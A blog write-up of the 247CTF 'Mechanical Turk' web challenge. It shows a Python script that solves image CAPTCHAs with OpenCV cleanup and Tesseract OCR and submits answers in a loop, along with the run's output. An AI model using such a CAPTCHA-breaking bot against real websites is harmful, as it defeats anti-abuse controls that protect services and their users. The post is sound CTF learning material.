CREATIVE CHAOS   ▋ blog

Mechanical Turk (web)

PUBLISHED ON 15/04/2020 — EDITED ON 11/12/2023 — 247CTF, INFOSEC

This post was in “draft” version for more than three years, waiting for some neat words to be added. Maybe it is time to just dump it online and see where it goes.

I was the 13th person to solve this challenge :)

There were 33 sucessfull attempts at the date of publishing this article (11.12.2023). Lets see if this helps anyone.

Intro

If you can solve our custom CAPTCHA addition equation 100 times in 30 seconds you will be rewarded with a flag.

Sucessful attack

$ time ./images_clean.py | grep alert-  
        <div class='alert alert-success text-center'>Valid CAPTCHA! 99 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 98 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 97 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 96 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 95 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 94 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 93 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 92 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 91 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 90 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 89 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 88 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 87 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 86 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 85 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 84 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 83 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 82 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 81 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 80 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 79 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 78 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 77 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 76 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 75 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 74 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 73 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 72 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 71 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 70 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 69 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 68 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 67 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 66 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 65 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 64 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 63 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 62 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 61 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 60 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 59 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 58 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 57 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 56 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 55 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 54 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 53 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 52 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 51 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 50 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 49 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 48 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 47 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 46 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 45 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 44 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 43 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 42 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 41 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 40 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 39 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 38 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 37 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 36 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 35 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 34 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 33 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 32 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 31 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 30 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 29 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 28 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 27 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 26 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 25 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 24 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 23 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 22 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 21 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 20 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 19 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 18 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 17 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 16 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 15 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 14 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 13 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 12 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 11 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 10 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 9 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 8 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 7 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 6 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 5 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 4 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 3 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 2 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 1 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 0 to go!</div>        <form method="post">
        <div class='alert alert-success text-center'>247CTF{xxxx}</div>        <form method="post">
        <div class='alert alert-success text-center'>247CTF{xxxx}</div>        <form method="post">
        <div class='alert alert-success text-center'>247CTF{xxxx}</div>        <form method="post">
        <div class='alert alert-success text-center'>247CTF{xxxx}</div>        <form method="post">
        <div class='alert alert-success text-center'>247CTF{xxxx}</div>        <form method="post">
        <div class='alert alert-success text-center'>247CTF{xxxx}</div>        <form method="post">
        <div class='alert alert-success text-center'>247CTF{xxxx}</div>        <form method="post">
        <div class='alert alert-success text-center'>247CTF{xxxx}</div>        <form method="post">
        <div class='alert alert-success text-center'>247CTF{xxxx}</div>        <form method="post">
        <div class='alert alert-success text-center'>247CTF{xxxx}</div>        <form method="post">
        <div class='alert alert-success text-center'>247CTF{xxxx}</div>        <form method="post">
        <div class='alert alert-success text-center'>247CTF{xxxx}</div>        <form method="post">
        <div class='alert alert-danger text-center'>Session timed out, too slow!</div>        <form method="post">
        <div class='alert alert-success text-center'>Valid CAPTCHA! 99 to go!</div>        <form method="post">
        <div class='alert alert-danger text-center'>Invalid CAPTCHA!</div>        <form method="post">
KeyboardInterrupt

./images_clean.py  16.90s user 0.57s system 53% cpu 32.563 total
grep --color alert-  0.02s user 0.01s system 0% cpu 32.427 total

Solution

This is the script I have come up to solve the problem. It is far away from being optimal, but it did the job. Preparing the images was the hardest part.

#!/usr/bin/env python3

# ./images_clean.py | grep Valid

URL="https://0e11aa65af22276e.247ctf.com"
import requests


import cv2
# https://github.com/sirfz/tesserocr/issues/165
import locale
locale.setlocale(locale.LC_ALL, 'C')
from tesserocr import PyTessBaseAPI, PSM, OEM
import numpy as np
from PIL import Image


def clean_colors(img):
    # Remove dark gray noise lines color 140,140,140
    lower_black = np.array([140,140,140], dtype = "uint16")
    upper_black = np.array([141,141,141], dtype = "uint16")
    black_mask = cv2.inRange(img, lower_black, upper_black)
    img2 = cv2.bitwise_and(img, img, mask= black_mask)
    img = cv2.add(img, img2)

    # Remove light gray background color 245,245,245
    #lower_black = np.array([245,245,245], dtype = "uint16")
    #upper_black = np.array([246,246,246], dtype = "uint16")
    #black_mask = cv2.inRange(img, lower_black, upper_black)
    #img2 = cv2.bitwise_and(img, img, mask= black_mask)
    #img = cv2.add(img, img2)

    return img

def resize(img):
    #img = cv2.resize(img, None, fx=10, fy=10, interpolation=cv2.INTER_LINEAR)
    img = cv2.resize(img, None, fx=5, fy=5, interpolation=cv2.INTER_CUBIC)
    return img


def thresh_binary(img):
    th, img = cv2.threshold(img, 231, 255, cv2.THRESH_BINARY)
    return img


def thresh_otsu(img):
    th, img = cv2.threshold(img, 0, 255, cv2.THRESH_OTSU)
    return img

def brightness_contrast(img):
    alpha = 1.0 # Contrast control (1.0-3.0)
    beta = 1 # Brightness control (0-100)
    img = cv2.convertScaleAbs(img, alpha=alpha, beta=beta)
    return img


with PyTessBaseAPI(psm=PSM.SINGLE_WORD, oem=OEM.TESSERACT_ONLY) as api:
    api.SetVariable("tessedit_char_whitelist", "0123456789+")
    #api.SetVariable("load_system_dawg", "false")
    #api.SetVariable("load_freq_dawg", "false")
    #api.SetVariable("user_patterns", "pattern.txt")
    #api.SetVariable("tessedit_fix_fuzzy_spaces", "true")

    sess = requests.session()
    response = sess.get(URL)
    cookie = {'PHPSESSID': response.cookies['PHPSESSID']}

    for i in range(300):
        #print ("alert- "+str(i))

        session_raw = sess.get(URL+"/mturk.php", cookies=cookie, stream=True).raw

        #print (response)
        #print (r.headers)
        #print (r.text)
        #print (r.cookies)



        image1 = np.asarray(bytearray(session_raw.read()), dtype="uint8")
        img = cv2.imdecode(image1, cv2.IMREAD_COLOR)


        img = clean_colors(img)

        img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

        img = brightness_contrast(img)

        img = thresh_binary(img)
        #img = thresh_otsu(img)


        img = resize(img)
        img = thresh_otsu(img)
        #img = thresh_binary(img)


        api.SetImage(Image.fromarray(img))


        try:
            sp = api.GetUTF8Text().replace(" ", "").rstrip().split('+')

            #print(sp)
            #cv2.imshow('adjusted', img)
            #cv2.waitKey()


            rez = int(sp[0])+int(sp[1])
            p = sess.post(URL, data={"captcha": rez}, cookies=cookie)
            print (p.text)
        except:

            sp = api.GetUTF8Text().replace(" ", "").rstrip()
            a = sp[:6]
            b = sp[6:]
            rez = int(a)+int(b)
            p = sess.post(URL, data={"captcha": rez}, cookies=cookie)
            print (p.text)
            #print ("alert- ocr bad")
TAGS: CAPTCHA, CTF, HACK, PYTHON